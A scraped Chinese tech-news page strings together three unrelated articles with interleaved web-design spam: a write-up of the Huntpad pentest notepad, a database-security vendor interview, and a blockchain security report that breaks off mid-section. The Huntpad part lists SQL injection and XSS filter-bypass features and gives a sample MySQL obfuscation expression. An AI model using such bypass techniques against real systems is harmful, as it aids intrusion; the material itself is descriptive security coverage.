Huntpad:為滲透測試人員設計的Notepad應用

網站內容來源http://server.it168.com/

Huntpad:為滲透測試人員設計的Notepad應用

2018-05-21 09:45    來源:FreeBuf.COM  作者: Alpha_h4ck編譯 編輯:
0購買

  今天給大家推薦的是一款名叫Huntpad的Notepad應用程序,Huntpad由Syhunt公司開發,這是一款專為滲透測試人員以及漏洞hunter們提供的實用程序,它自帶了一套常用注入字符串生成器、哈希生成器、編碼器、解碼器以及HTML和文本修改功能等等,而且還支持多種編程語言的代碼高亮。

  工具下載

  Huntpad:

  工具介紹

  Huntpad從Syhunt Sandcat的QuickInject插件中借鑒了很多功能,跟QuickInject類似,Huntpad的核心任務也集中在文件包含漏洞、XSS漏洞和SQL注入漏洞的身上,並且還帶有下列額外的附加功能:

  1. 代碼高亮:支持HTML、JavaScript、CSS、XML、PHP、Ruby、SQL、Pascal、Perl、Python和VBScript。

  2. SQL注入功能:

  a) 過濾器繞過:特定數據庫字符串轉義(CHAR&CHR),將字符串轉換為引用字符串,將空格轉義為註釋標籤或換行。

  b) 過濾器繞過(MySQL):字符串拼接,百分號混淆,整形替換。(例如:’26′轉換為’ceil(pi()*pi())*(!!!pi()+true)+ceil(@@version)’)

  c) UNION語句生成。

  d) 針對MySQL、MSSQL、Oracle及PostgreSQL等多款數據庫實現快速注入。

  3. 文件包含:

  a) 快速Shell代碼上傳及生成。

  b) PHP字符串轉義(chr)。

  4. 跨站腳本XSS功能:

  a) 過濾器繞過:JavaScript字符串轉義(String.fromCharCode),CSS轉義。

  b) 提供了各種用於測試XSS漏洞的測試語句(alert語句)。

  5. 哈希功能:

  a) 哈希生成器:MD5, SHA-1, SHA-2 (224, 256, 384 & 512), GOST, HAVAL (various),MD2, MD4, RIPEMD (128, 160, 256 & 320), Salsa10, Salsa20, Snefru (128 &256), Tiger (various) & WHIRLPOOL

  6. 編碼器/解碼器:

  a) URL編碼/解碼。

  b) 十六進制編碼/解碼:將字符串或整形值轉換為十六進制(支持多種輸出格式)。

  c) Base64編碼/解碼。

  d) CharCode轉換:將字符串轉換為charcode(例如’abc’轉換為’97,98,99′)。

  e) IP混淆:將IP地址轉換為dword或十六進制值。

  f) JavaScript編碼:類似JJEncode。

  7. HTML功能:

  a) HTML轉義。

  b) HTML實體編碼/解碼:十進制和十六進制HTML實體編碼/解碼。

  c) JavaScript字符串轉義。

  8. 文本修改功能:大小寫轉換、字符串反向操作、添加/替換斜杠等。

  9. 基於時間的盲注代碼。

  10. CRC計算:CRC16, CRC32, CRC32b等等。

  11. 緩衝區溢出字符串生成。

  12. 隨機字符串/數組生成功能。

,
網站內容來源http://safe.it168.com/

【精選推薦文章】

自行創業 缺乏曝光? 下一步"網站設計"幫您第一時間規劃公司的門面形象

網頁設計一頭霧水??該從何著手呢? 找到專業技術的網頁設計公司,幫您輕鬆架站!

評比前十大台北網頁設計台北網站設計公司知名案例作品心得分享

台北網頁設計公司這麼多,該如何挑選?? 網頁設計報價省錢懶人包"嚨底家"

聚焦數據庫安全昂楷科技解決最迫切問題開始

網站內容來源http://server.it168.com/

聚焦數據庫安全昂楷科技解決最迫切問題開始

2018-05-25 18:07    原創  作者: 閆志坤 編輯:
0購買

  序言:海量數據正以指數級增長,人們通過大數據技術可以實現前所未有的對海量數據的處理和分析能力,而數據庫作為存儲數據的倉庫,經常成為黑客入侵、惡意攻擊的對象,若存儲的重要或敏感信息被竊取、篡改或破壞,則後果不堪設想,因此數據庫安全顯得尤為重要,數據庫安全作為信息安全的一個子集,也是信息安全中最重要的部分之一。

  【IT168專訪】“我們認為數據庫安全領域最迫切需要解決的問題是可視和可控,我們所有產品都着眼於此”,昂楷科技董事長兼CTO 劉永波先生在接受IT168記者採訪時說道。


劉永波

  深圳昂楷科技有限公司創始人,OWASP 中國區高級顧問,智慧城市大數據安全標準制定專家。2009 年創立深圳昂楷科技有限公司;1998 年至2009年供職於華為技術有限公司、華為賽門鐵克合資公司,歷任華為接入網產品線研發總監,華賽安全產品線研發VP。曾經帶領團隊成功研發商用綜合接入UA5000 系列產品,該系列產品在2007 年成為英國電信BT 唯一同類採購產品,位列世界同類產品第一名。

  【解鎖數據庫三級聯防 捍衛數據安全】

  大多數用戶對於傳統IT架構的需求以穩健為主,業務系統運轉正常最為重要,安全性則為次要考慮,同時,由於數據庫在企業IT系統中非常脆弱,因此選擇安全解決方案要非常慎重。劉永波指出,處理數據庫安全問題,一定是要小心又小心,正如“治大國如烹小鮮”一般,數據庫好比是IT系統大國中的小鮮,經不起隨意折騰。

  從國家機關、企事業單位的數據安全防護方案建設來講,應該建立終端、外防、內審內控的三級聯動聯防主動積極防禦體系;其次,針對系統漏洞等管理問題,選用安全設備加強安全管控。其中尤其重要的是數據安全態勢感知系統,作為整個防護體系的雷達探測和中樞指揮系統,是核心中的核心;第三,將數據安全態勢感知系統與原有的網絡安全態勢感知系統融為一體,建立全態勢的安全感知和統一指揮調度系統,能夠有效整合終端安全、網絡安全、數據安全、應用安全等各大系統,形成強大的聯動效應。

  劉永波解釋道,昂楷科技正是按照這個建設思路,即內審內控的數據安全保護思路,先從最核心的數據庫安全審計監控產品開始研發,解決對數據庫攻擊行為及攻擊者的可視;進而打造數據庫漏洞檢測、數據庫狀態監控、數據庫防火牆、數據庫的安全態勢感知系統,構建針對數據庫的主動防禦一體化解決方案。

  截至目前,昂楷產品支持多種關係型數據庫和非關係型數據庫,如常用數據庫類型:Oracle、Mysql、MSSQL、sybase、informix、DB2、PostgreSQL等,新類型的數據庫:后關係型數據庫Caché、工控實時數據庫IP21、Hadoop大數據架構下的Hbase等。

  【新興技術之殤 化解數據庫安全難題】

  雲計算不斷成熟,公有雲、私有雲乃至混合雲出現,徹底打破傳統IT架構,大量採用雲架構,虛擬交換機鏡像功能很難具備或沒有虛擬交換機,數據庫安全監控面臨很大的挑戰。政企用戶遇到第一個比較痛苦的問題:數據安全的問題怎麼解決?

  業界多採用插件式解決方案,即在數據庫服務器安裝插件,但這時候項目負責人需要思考,插件是否會對數據庫系統的性能產生影響?是否安全等問題。

  目前,昂楷科技做了很多積極性探索,已經推出了無插件解決方案,並與UCloud、青雲成功應用,同時還積極推動與華為雲、騰訊雲戰略合作,此外,昂楷科技的插件式解決方案已成功對接幾大公有雲,無論是阿里雲,還是品高雲、有孚雲等都完成了對接。劉永波表示,我們作為數據庫安全廠商,一定要跟雲供應商一起探討如何實現雲數據庫的安全監控,最終我們一起給最終用戶提供最佳體驗。

  而對於越來越多公有雲平台開始自主研發數據庫,一方面是解決新應用的需要,另一方面是國產化數據庫的需要,包括大數據需要、NoSQL數據庫需要,這恰恰說明數據庫技術也在快速發展和演進,數據庫技術逐漸成為了基礎技術。大數據、智慧城市、物聯網快速發展,對這種基礎技術的要求也越來越高,數據庫的種類越來越多,數據庫安全面臨的挑戰就越來越嚴峻。

  劉永波解釋道,因為每種數據庫技術都可能會不同,對外提供的API接口、協議框架越來越多,越來越複雜,數據庫就面臨着更多的潛在風險,而任何一個風險,如果被黑客利用或者被不法分子利用,導致的攻擊破壞都是不可想象。昂楷科技作為數據庫安全領域的專業廠商,我們要構建一個開放的、能夠自我學習、採用人工智能和大數據技術的產品,能快速演進,快速技術研發,能夠能趕得上這些新數據庫或新數據庫的應用接口的發展,能夠提前預防危險,對數據庫安全廠商而言,既是挑戰又是機遇。

  【政企行業數據庫安全實施“指南”】

  正所謂沒有絕對安全,信息安全保護也沒有底線,無法窮盡。但對於剛剛開始加強數據庫安全的政企用戶,又該如何做好數據庫安全管理?劉永波表示,不同的政企單位要在正常的業務運行和安全投入成本之間取得一個合理的平衡,對數據庫安全或者數據安全問題,要根據政企單位的安全等級來選擇合適的產品。

  對於一般的政企單位而言,最基礎性的產品應該是數據庫監控和可視,所有政企單位都需要使用,而數據庫防火牆等新產品,要結合政企單位特點,例如非常高度涉密數據,即使業務停掉也要能夠進行及時攔截,此時可以考慮使用數據庫防火牆。

  對於數據庫審計、數據庫監控選型方面建議,第一,既然談到監控,那就是要精細化,就是要嚴格做到不漏審,不誤審,看得准,看得狠基本要素。測試方法很簡單,在業務最繁忙時,將所有應用系統的流量全部鏡像過來,然後在任何一個終端上來進行正常操作,最後看數據庫監控產品能不能準確的識別該操作;第二,綜合性能測試,當監控告警記錄已經達到幾億條到數十億條時,再來進行檢索操作,觀察分析結果準確性和出報錶速度,以及是否跟其它安全設備進行了快速聯動。

  在採訪最後,作為昂楷科技董事長兼CTO,談及企業未來規劃,劉永波坦言,昂楷科技定位一個研發性技術型公司,從長遠來看,我們將致力於為廣泛的‘大’數據提供可靠的‘大’安全,大安全的‘大’,可理解為廣泛縱深。我們希望未來成為大數據安全領域的領先性企業,能夠使得我們的產品和服務走出國門,服務於全世界的企業,甚至於個人用戶!

  經過這些年發展,昂楷科技以工匠精神打造多款國產數據安全精品,不僅包括了數據庫審計系統、大數據安全審計系統、雲數據庫審計系統、工控數據庫審計系統等產品之外,而且在2018年還將發布數據庫漏洞掃描系統、數據庫狀態監控系統、數據庫脫敏系統、數據庫防火牆、數據庫安全態勢感知系統等新產品。

  總結

  數據安全無論是對國家還是對政企用戶都至關重要,數據是数字經濟時代社會生產的新主導要素,也是新工業革命的核心內容,數據庫安全擁有巨大藍海市場,非常需要昂楷科技這樣企業去探索、創新,為政企用戶保護數據庫支撐更多創新應用落地,讓越來越多政企客戶認識數據庫安全重要性,中國數據庫安全任重道遠。

,
網站內容來源http://safe.it168.com/

【精選推薦文章】

智慧手機時代的來臨,RWD網頁設計已成為網頁設計推薦首選

想知道網站建置網站改版該如何進行嗎?將由專業工程師為您規劃客製化網頁設計後台網頁設計

帶您來看台北網站建置套版網頁設計台北網站改版設計台北RWD響應式網頁設計,各種案例分享

廣告預算用在刀口上,網站設計公司幫您達到更多曝光效益

白帽匯安全研究院發布區塊鏈安全分析報告

網站內容來源http://server.it168.com/

白帽匯安全研究院發布區塊鏈安全分析報告

2018-05-23 15:10    來源:白帽匯安全研究院  作者: 白帽匯安全研究院 編輯:
0購買

  前 言

  當今,全球信息領域的新一輪科技創新和產業變革持續深入,滲透範圍越發廣泛,作為研發投入最為集中、應用成效最大的信息技術,正是此次引領變革的主導力量和技術創新的競爭高地。

  在此背景下,區塊鏈作為一種分佈式數據存儲、點對點傳輸、共識機制、加密算法等技術的新型集成應用,發展勢頭迅猛,近年來已經成為世界各國研究討論的焦點。其生態系統已延伸到物聯網、雲計算、大數據、人工智能等多個領域,應用場景也涵蓋了金融、投資、監管等機構,引發了新一輪的技術創新和產業變革。

  一直以來,安全問題都是信息產業的重大發展方向,隨着科技技術的演變和複雜化,信息安全問題的需求日益迫切,同時也被賦予了新的內涵外延。而區塊鏈作為一種新興技術,安全性威脅是其迄今為止所面臨的最重要的問題之一。

  為全面了解和推動區塊鏈技術和產業發展,解決區塊鏈目前面臨的安全問題,“白帽匯安全研究院”採用自主創新技術,根據區塊鏈的數據層、網絡層、共識層、擴展層和業務層的不同應用場景下的主流攻擊事件進行探索,分析和總結,提出了安全加固、滲透測試、仿冒監測和合約審計四類安全解決方案,與國家安全機構、金融企業、信息安全部門、互聯網巨頭等建立深度合作關係,多項研究成果成功應用於漏洞預警和產品服務,最終整合編纂形成了《區塊鏈產業安全分析報告》,並希望以此契機建立起安全可靠的區塊鏈技術安全生態體系。

  目錄

  一、區塊鏈概述
  二、區塊鏈安全性
  三、區塊鏈攻擊對象分析
  四、區塊鏈安全解決方案
  五、總結與展望
  六、關於我們
  七、參考來源

      一 區塊鏈概述

  1.1 定義

  區塊鏈[1]是一種分佈式數據存儲、點對點傳輸、共識機制、加密算法等計算機技術的新型應用模式,是以比特幣為代表的数字加密貨幣體系的核心支撐技術,且可以從兩個方面來進行定義:從狹義的角度上來講,區塊鏈是一種以時間順序排列的鏈式結構數據,並通過密碼學的方式來保證數據的不可篡改、不可偽造。從廣義的角度來講,區塊鏈技術是利用塊鏈式數據結構來存儲數據、利用鏈式數據的前後關係來驗證數據、利用分佈式節點來生成數據,利用共識算法來更新數據、利用密碼學來保證數據的真實性、利用由程序代碼組成的智能合約保證協議的不可違約性的一種同時具備高可用、高擴展、高安全等特性的全新數據系統。

      其核心優勢是去中心化,能夠通過運用數據加密、時間戳、分佈式共識和經濟激勵等手段,在節點無需互相信任的分佈式系統中實現基於去中心化信用的點對點交易、協調與協作,從而為解決中心化機構普遍存在的高成本、低效率和數據存儲不安全等問題提供了解決方案。

  如下圖所示,高亮的點是區塊鏈系統中分佈在全球各地的各個節點;而這些節點可以簡單理解為一台服務器或服務器集群,並能夠協同運轉的數據庫存儲系統。區別於傳統數據庫運作——讀寫權限掌握在一個公司或者一個集權手上(中心化的特徵),區塊鏈認為,任何有能力架設服務器的個體都可以參與其中。

      來自全球各地的開發人員在當地部署了自己的服務器,並連接到區塊鏈網絡中,成為這個分佈式數據庫存儲系統中的一個節點;一旦加入,該節點享有同其他所有節點完全一樣的權利與義務(去中心化、分佈式的特徵)。與此同時,對於在區塊鏈上開展服務的參與者,可以往這個系統中的任意節點進行讀寫操作,最後全世界所有節點會根據某種機制完成一次又一次的同步,從而實現在區塊鏈網絡中所有節點的數據完全一致。

  1.2 特徵

  區塊鏈技術是具有普適性的底層技術框架,可以為金融、經濟、科技甚至政治等各領域帶來深刻變革。在信息網絡化的大背景下,當需要進行信息交換的時候,如何防止遭遇惡意欺詐,從而做出正確決策?具有去中心化、可追溯性等特徵的區塊鏈技術正好解決了此類難題,區塊鏈的核心技術均圍繞此進行展開。

  1.2.1 去中心化

  區塊鏈使用分佈式架構,在區塊鏈網絡中的節點同時扮演着“傳播者”和“驗證者”的角色,享受同等的權利、承受同等的義務,節點與節點之間可以自由通信,系統中的數據塊由具有存儲能力的節點共同存儲。

  1.2.2 開放性

  區塊鏈整體系統是開放的,除了節點的私鑰以外,網絡中的節點信息對所有人公開,區塊鏈中的數據對所有人公開,區塊鏈的源代碼對所有人公開。

  1.2.3 自治性

  區塊鏈採用基於預先設定好的規範或協議使得整個網絡中的所有節點能夠在自由、安全、無障礙的情況下的進行交互。

  區塊鏈技術將原本人與人之間”的信任轉化為人對機器的信任,任何人為的行為都難以撼動機器計算的結果。

  1.2.4 不可篡改性

  在區塊鏈系統中,由於使用了哈希函數以及非對稱加密等先進的密碼學技術,在信息經過驗證後會被打包至區塊中,由於區塊鏈只做加法,所以區塊鏈上的區塊數據不可銷毀。由於它是分佈式的,所以單個節點對區塊的修改對於整個區塊鏈來說毫無影響,因此區塊鏈的數據穩定性和可靠性都是極高的。

  1.2.5 可追溯性

  儘管區塊鏈中的匿名性無法看到交易雙方的身份信息,但區塊+鏈的形式保存了從第一個區塊開始的所有歷史數據,連接的形式是后一個區塊擁有前一個區塊的HASH值,區塊鏈上任意一條記錄都可通過鏈式結構追溯本源,這樣從另一個方面保障了信息的安全性。

  1.3 分類

  基於多種應用參與方式,區塊鏈目前主要分為公有區塊鏈、聯盟區塊鏈和私有區塊鏈。

  1.3.1 公有區塊鏈

  公有區塊鏈是指:世界上任何個體或者團體都可以發送交易,且交易能夠獲得該區塊鏈的有效確認,任何人都可以參與其共識過程。公有區塊鏈是最早的區塊鏈,也是目前應用最廣

  泛的的區塊鏈。是指像比特幣區塊鏈這樣的完全去中心化的、不受任何機構控制的區塊鏈。共識過程的參與者通過密碼學技術以及內建的經濟激勵維護數據庫的安全。

  1.3.2 聯盟區塊鏈

  聯盟區塊鏈是指:由某個群體內部指定多個預選的節點為記賬人,每個塊的生成由所有的預選節點共同決定,其他接入節點可以參與交易,但不過問記賬過程(本質上還是託管記賬,只是變成分佈式記賬,預選節點的多少,如何決定每個塊的記賬者成為該區塊鏈的主要風險點),其他任何人可以通過該區塊鏈開放的API進行限定查詢。

  參與區塊鏈的節點是事先選擇好的,節點間很可能是有很好的網絡連接。這樣的區塊鏈上可以採用非工作量證明的其他共識算法,比如有100家金融機構之間建立了某個區塊鏈,規定必須67個以上的機構同意才算達成共識。

  1.3.3 私有區塊鏈

  私有區塊鏈是指存在一定的中心化控制的區塊鏈。僅僅使用區塊鏈的總賬技術進行記賬,可以是一個公司,也可以是個人,獨享該區塊鏈的寫入權限,本鏈與其他的分佈式存儲方案沒有太大區別。參與的節點只有用戶自己,數據的訪問和使用有嚴格的權限管理。聯盟鏈由於存在一定的中心化控制,所以也可以認為是屬於私有鏈範疇。

  此三種定義的主要區別如下錶所示:

  1.4 發展

  早在1976年,Bailey W. Diffie、Martin E. Hellman兩位密碼學的大師發表了論文《密碼學的新方向》,論文覆蓋了未來幾十年密碼學所有的新的進展領域,包括非對稱加密、橢圓曲線算法、哈希等一些手段,奠定了迄今為止整個密碼學的發展方向,也對區塊鏈的技術和比特幣的誕生起到決定性作用。

  在21世紀到來之際,區塊鏈相關的領域又有了幾次重大進展:首先是點對點分佈式網絡,1999到2001的三年時間內,Napster、EDonkey 2000和BitTorrent分別先後出現,奠定了P2P網絡計算的基礎。2001年另一件重要的事情,就是NSA發布了SHA-2系列算法。

  2008年11月,“中本聰”發表論文《比特幣:一種點對點的电子現金系統》,提出了區塊鏈這種數據結構,區塊鏈技術迎來了爆髮式的增長和關注,技術迭代速度之快,超出任何人的想象,每隔一段時間就會有重量級事件發生,進一步助推了整個技術的發展。

  二 區塊鏈安全性

  2.1 背景

  安全問題一直是信息化社會的主旋律,隨着區塊鏈技術的廣泛應用,隨之而來的問題也越來越多,由於區塊鏈去中心化,匿名性等一系列特點,目前在資本行業被大量使用,其中用於投資的情況也越來越多,正因為這一系列的特性與場景結合,隨之而來的各類攻擊也開始不斷出現,從之前的區塊鏈底層安全技術研究曝光,發展到後來越來越多的虛擬貨幣被盜,交易所被攻擊等事件。而這些只是目前被暴露的一部分,隨着區塊鏈技術所產生的價值越來越高,所面臨的攻擊將持續增加。

  區塊鏈技術自身尚處於快速發展的初級階段,面臨的風險不僅來自外部實體的攻擊,也有可能來自內部參與者的攻擊,應對區塊鏈技術的安全特點和缺陷,需要圍繞物理、數據、應用系統、加密、風險控制等構建安全體系。與此同時,區塊鏈技術的普及應用對保障數據存儲,數據傳輸和數據應用等多個方面的安全和隱私保護提出了全新的要求。

  隨着目前所發生的一系列交易平台監守自盜、交易所遭受黑客攻擊、用戶賬戶被盜等安全事件,我們不得不承認一個事實,區塊鏈的“安全神話”已然破滅。

  由於區塊鏈目前異常活躍,不僅推動了虛擬貨幣的發展,而且還加強了現有的安全解決方案,對認證機制、數據保護和基礎設施的全局發展提出了全新的要求。因此,急需建立一種或多種協同安全解決方案來提升區塊鏈整體系統的安全性能。

  2.2 底層原理

  以鏈式結構保存基礎數據,多個節點參與系統運行,以一定的算法對基礎數據的操作達成一致性共識。

  在“中本聰”的論文中,區塊鏈是由若干個時間順序、包含交易信息的區塊從後向前有序鏈接起來的數據結構,每一個區塊都包含了當前區塊構成時間內所有的信息,並由一個Hash值進行封裝和指向上一個區塊。數據結構可以被視為一個垂直的棧,可形象化地描述為每一個區塊就像一個箱子,每一個新的區塊都堆在上一個區塊之上,形成了一摞箱子,於是“高度”就可以表示區塊和首區塊的距離;“頂端”就是指最新的區塊;區塊頭就像是箱子的表面,封裝了內部的交易信息,並標明父系區塊鏈的位置。每一個區塊頭都可以找到其父系的區塊,並最終回溯到創世區塊上。

  由於區塊頭要包含“父系區塊Hash”的字段,所以任何父系區塊的修改,都會引發子區塊的改變,而子區塊的改變將引起孫區塊的改變,這種變化會一直傳導到最新的區塊,並且這種改變是沒有規律的,服從“雪崩效應”,這就意味着任何人想要更改之前區塊的內容,將會耗費大量的算力來運算更長的鏈條,即實現“51%攻擊”。這對於修改者來說,成本過於高昂。此外,即使實現了“51%攻擊”,也只能抹除自己的交易信息,並不能修改整個程序和參數。

  因此,區塊鏈具有如下安全特性:(1)寫入數據的安全性:對於寫入區塊鏈的數據而言,在共識機制的制約之下,當全網大部分的節點或者核心的節點認可這個記錄時,這個數據的

  合法性和真實性才得以確保,記錄才允許被永久寫入區塊鏈中。(2)讀取數據的安全性:由於區塊鏈中的數據是加密存儲的,只有擁有用戶私鑰的節點才可以解密區塊中的核心數據,進而獲取區塊內容。此外,區塊鏈的共識機制是複雜的,能否確保大部分的用戶能夠看到一個相同的賬本。(3)分佈式拒絕服務(DDOS)攻擊抵抗:區塊鏈的去中心化架構相比於傳統的網絡架構,其節點分散、無固定中心且具備冗餘的特性,針對區塊鏈的DDOS攻擊將會更難展開。攻擊者對某個節點攻擊時,即便這個節點失效,也不會影響整個區塊鏈系統。

  2.3 安全分析

  目前區塊鏈面臨了諸多方面的安全挑戰,主要包含以下幾個方面:

  (1)密碼算法安全性:目前區塊鏈基於的算法主要是公鑰算法和哈希算法,其安全性來源於數學難度,相對是安全的。但是隨着高性能計算和量子計算的發展和商業化,目前所有的加密算法均存在被破解的可能性,這也是區塊鏈面臨的一個威脅。

  (2)協議安全性:區塊鏈中,如果一個節點能夠掌控全網51%的計算能力,就可以偽造或者篡改區塊鏈的數據。在目前典型的电子貨幣的應用場景中,這是得不償失。但是隨着區塊鏈應用範圍的擴寬,攻擊者為了達到某種目的,有可能實施這樣的攻擊。

  (3)使用安全性:區塊鏈有着無法篡改,不可偽造,計算不可逆的特點,但是必須是在私鑰安全的前提之下。但是目前針對密鑰的攻擊層出不窮,一旦用戶使用不當,造成私鑰丟失,就會給區塊鏈系統帶來危險。

  (4)系統安全性:在區塊鏈的編碼,以及運行的系統中,不可避免會存在很多的安全漏洞,針對這些漏洞展開的攻擊日益增多,這對區塊鏈的應用和推廣帶來極大的影響。

  2.4 歷史安全事件

  儘管區塊鏈在最底層原理方面保障了其可靠性,但目前區塊鏈安全機制並不十分健全,攻擊者主要選擇保護相對薄弱的數據層、網絡層、共識層、擴展層和業務層進行攻擊,每年因區塊鏈安全漏洞造成的損失高達數十億美元。

  從分析結果來看,攻擊事件大致可分為四類安全事件:共識機制、智能合約、交易平台和用戶自身。

  以下是2011年至2018年4月30日發生的各類安全事件所造成的損失:

  及2011年至2018年發生的安全事件數量統計:

  2011年至2018年發生的安全事件所造成的損失折線圖:

  我們通過對歷史的安全事件影響分析得知,目前近80%的攻擊損失都是基於業務層面的攻擊所造成的,其損失額度從2017年開始呈現出指數上升的趨勢,截止到2018年第一季度,所暴露的安全事件就已經造成了8.1億美元的損失,按照歷史的攻擊趨勢,相信以後此類攻擊事件會越來越嚴重。

  以下是2011年至2018年所發生安全事件的詳細說明。

  2.3.1 區塊鏈自身安全事件

  2.3.2 智能合約安全事件

  2.3.3 交易平台安全事件

  2.3.4 用戶自身安全事件

  2.3.5 其他安全事件

  三 區塊鏈攻擊對象分析

  基於目前世界各國對加密貨幣的態度不盡一致,在區塊鏈貨幣領域黑客幾乎可以為所欲為,尚處於無法監管的狀態,所以思考已經發生或者可能發生的安全問題對於區塊鏈應用來說是必不可少的。

  就目前區塊鏈的特徵,我們進行了如下分層:應用服務層、中間協議層和基礎網絡。並基於以下層面出發,針對每層中各個“攻擊面”去分析已發生或者可能發生的安全風險:

  一般來說,區塊鏈系統由數據層、網絡層、共識層、激勵層、合約層和業務服務層組成。其中,數據層封裝了底層數據塊區以及相關的數據加密和時間戳等技術;網絡層則包括分佈式組網機制、數據傳播機制和數據驗證機制等;共識層主要封裝網絡節點和各類共識算法;激勵層將經濟因素集成到區塊鏈技術體系中來,主要包括經濟激勵的發行機制和分配機制等;合約層主要封裝各類腳本、算法和智能合約,是區塊鏈可編程特性的基礎;業務層則封裝了區塊鏈的各種應用場景和案例。

  該模型中,基於時間戳的鏈式塊區結構、分佈式節點的共識機制、基於共識算力的經濟激勵和靈活可編程的智能合約是區塊鏈技術最具代表性的創新點。經過對區塊鏈技術的各個層面進行縱向剖析,並針對上述層次的不同“角色”進行安全性分析后,我們發現目前攻擊者通常從兩個點出發:

  1. 區塊鏈中的中心化對象:交易平台、在線錢包等。

  2. 區塊鏈中的去中心化對象:智能合約、共識機制等。

  我們根據攻擊者主要採用的攻擊方式、對象和等級,總結如下錶所示:

  3.1 數據層

  3.1.1 區塊數據

  簡要

  基於區塊鏈技術本身的特性,區塊數據是分佈在多個節點上的鏈式結構數據,節點與節點之間的“互動”將記錄在區塊中,然後在各個節點之間同步完整的區塊數據,每個節點都有自己的一份區塊數據,單一或少部分的節點的區塊數據自行或被篡改,都無法影響整個區塊鏈的運行,依賴這種去中心化的架構,可以很容易做到數據防篡改。

  風險

  針對區塊數據的安全風險,我們分析總結了以下攻擊方式:

  惡意信息攻擊

  在區塊鏈中寫入惡意信息,例如病毒特徵碼、政治敏感話題等。藉助區塊鏈數據不可刪除的特性,信息被寫入區塊鏈后很難刪除。若區塊鏈中出現惡意信息,將會遭到殺毒軟件、政治敏感等多方面的問題。

  資源濫用攻擊

  隨着時間的推移,區塊數據可能會爆炸式增長(節點之間惡意頻繁交互),也可能會呈線性增長,這主要取決於此區塊鏈應用的設計,依賴現有的計算機存儲技術,區塊數據若發生爆炸式增長,可能導致節點無法容納又或者使區塊鏈運轉緩慢,從而使穩定運行的節點越來越少,節點越少,則越趨於中心化,引發區塊鏈危機。

  不過目前主流的區塊鏈應用譬如BTC、ETH等,都完好的解決了此問題,比特幣的解決方法為固定區塊大小為1M,防止區塊過度膨脹,區塊鏈大小呈線性增長,即使到2029年區塊數據也只有1T左右,但是此解決方案並不優雅,限制區塊大小的同時也給比特幣帶來了交易時間長的詬病,目前比特幣的一筆交易需要確認數小時。

  攻擊場景距離:若鏈中沒有設計相應的操作限制,攻擊者可以通過發送大量的垃圾信息來堵塞整個區塊鏈,使區塊鏈中真正的信息遲遲得不到處理,又或者使區塊鏈中的存儲節點超負荷運行。

  案例

  2017年2月份,以太坊的Ropsten測試鏈就遭到了一次惡意攻擊,攻擊者發動了千萬級別的垃圾交易信息,直接阻塞的網絡的正常運行。

  此案例雖然發生在測試網絡上,並沒有使以太坊網絡受到實質性的影響,但也給我們敲響了警鐘,區塊鏈的應用目前還處於萌芽階段,主流的應用不存在此問題理所當然,但不代表新的區塊鏈應用不會存在這類問題,這都是區塊鏈開發者需要注意的。

  2017年在EuskalHack安全會議上,有安全研究者提出了基於區塊鏈模式的botnet網絡,利用區塊鏈網絡進行C&C的惡意指令發布的並且提供了POC[17]。

  3.1.2 簽名與加密方式

  簡要

  密碼學是保證區塊鏈的安全性和不可篡改性的關鍵,而且區塊鏈技術大量依賴了密碼學的研究成果,為區塊鏈的信息完整性、認證性和不可抵賴性提供了關鍵保障。

  風險

  加密技術作為一個區塊鏈整體的支柱,其安全性顯得尤為重要,例如前些年所流行的MD5和sha1摘要算法,目前已經證明安全性不足,現在已經不能被商用。

  所以,公認的高強度加密算法在經過長時間的各方面實踐與論證后,已被大家所認可,但不代表其不存在漏洞,不可被破解。

  如比特幣目前大量使用的是sha256算法,到目前為止,此算法還是安全的,雖然有人依然持有質疑,但是並沒有任何直接的公開證據表明此算法存在漏洞。

  然而,比特幣所使用的算法也並不是毫無瑕疵,至少目前引發了以下問題:

  1. sha256算法對應的ASIC礦機以及礦池的出現,打破了中本聰最初設計“一CPU一票”的理念,淘汰了普通GPU挖礦,全網的節點逐漸減少,逐漸趨於中心化。

  2. 假名制,通過公共賬本你可以查看任意賬戶的所有交易信息,這顯然是和隱私保護背道而馳的,而且在日常的互聯網生活中很難不在互聯網中留下痕迹,例如:在論壇中發布交易信息,錢包地址就與論壇賬戶產生了對應關係。門羅幣在此方面則優於比特幣。

  所以,在設計區塊鏈應用的時候,務必要對加密方式慎重選擇。對於目前主流的簽名方式[11]有如下:

  針對加密方式的安全風險,我們分析總結了以下攻擊方式:

  窮舉攻擊

  此類攻擊方式主要作用於散列函數中,且幾乎所有散列函數或多或少都受此攻擊方式影響,而且其影響程度與函數本身無關,而是與生成的hash長度有關,主要是一個概率論的問題,其中最典型的的方式是基於生日悖論的“生日攻擊”。

  生日悖論:如果一個房間里有23個或23個以上的人,那麼至少有兩個人的生日相同的概率要大於50%。這就意味着在一個典型的標準小學班級(30人)中,存在兩人生日相同的可能性更高。對於60或者更多的人,這種概率要大於99%。

  碰撞攻擊

  此種攻擊方式主要作用於散列函數中,比較典型的案例是“md5摘要算法”和“sha1摘要算法”。

  它的攻擊原理是通過尋找算法的弱點,瓦解它的強抗碰撞性這一特性,使得散列函數原本要在相當長一段時間才能尋找到兩個值不同hash相同的值的特性被弱化,攻擊者能在較短的時間能尋找到值不同但hash相同的兩個值。

  長度擴展攻擊

  此種攻擊方式主要作用於散列函數中,準確的說是基於Merkle–Damg?rd構造的摘要算法。其原理是通過算法弱點,在已知密文hash和密文長度的情況下,推導出密文與另一消息拼接後計算出來的hash。

  後門攻擊

  此種攻擊方式作用於所有開源加密算法庫中,RSA算法是區塊鏈中身份驗證的基石,RSA算法本身是沒問題的,但是在實際情況中,人們可能更多的是選擇別人已經寫好的“輪子”直接拿來用,而不是自己再去實現一套加密函數。

  這就帶來了一個問題,在別人已經寫好的“輪子”中,可能被安插後門,比較典型的案例是:NSA在RSA算法中安插後門,使得攻擊者能直接通過公鑰算出私鑰。

  量子攻擊[3]

  此種攻擊方式作用於大部分密碼學算法。目前所有的加密算法以及摘要算法,其安全強度取決於它被窮舉的時間複雜度,這使得依賴現有的計算機的計算能力,針對比較強的加密算法要對它進行暴力破解是非常難的,但是量子計算機擁有傳統計算機無可比擬的算力,使得時間複雜度大大降低,於是,其安全強度便可能被瓦解,此問題是比特幣社區中一直在討論的問題。

  案例

  目前暫無實際攻擊曝光,但在某些層面可能存在致命安全隱患

  3.2 網絡層

  3.2.1 P2P網絡

  簡要

  區塊鏈的信息傳播主要依賴於其點對點傳輸的特性,採用P2P[4]式的網絡架構,尋找適宜的節點進行信息傳播,當建立一個或多個連接后,節點將一條包含自身IP地址消息發送給其相鄰節點。相鄰節點再將此消息依次轉發給它們各自的相鄰節點,從而保證節點信息被多個節點所接收、保證連接更穩定。

  風險

